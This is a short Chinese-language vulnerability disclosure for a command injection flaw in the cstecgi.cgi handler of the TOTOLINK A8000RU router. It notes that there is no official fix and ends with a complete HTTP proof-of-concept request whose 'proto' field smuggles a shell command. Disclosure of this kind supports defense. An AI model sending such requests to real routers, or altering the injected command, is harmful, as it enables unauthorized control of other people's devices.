# A8000RU 命令注入漏洞总结 ## 漏洞概述 在 TOTOLINK A8000RU 路由器的 `cstecgi.cgi` 中发现命令注入漏洞。攻击者可以通过构造恶意请求,在 `sub_424390` 函数中利用用户提供的 `proto` 参数,通过 `snprintf` 将恶意命令拼接到 `uci set` 命令中,最终通过 `CsteSystem` 函数执行 `execv` 实现任意命令执行。 ## 影响范围 - **厂商**: TOTOLINK - **产品**: A8000RU - **版本**: 7.1.c1u.643_b20200521 ## 修复方案 暂无官方修复方案。 ## 概念验证 (PoC) ```http POST /cgi-bin/cstecgi.cgi HTTP/1.1 Host: 192.168.6.2 Content-Length: 72 X-Requested-With: XMLHttpRequest Accept-Language: en-US,en;q=0.9 Accept: application/json, text/javascript, */*; q=0.01 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Origin: http://192.168.6.2 Referer: http://192.168.6.2/basic/index.html Accept-Encoding: gzip, deflate, br Cookie: SESSION_ID=2772465782:2 Connection: keep-alive {"topicurl":"setNetworkCfg","proto":" ls> /setNetworkCfg.txt "} ``` **执行结果**: 成功创建 `/setNetworkCfg.txt` 文件,内容为目录文件列表,证明命令执行成功。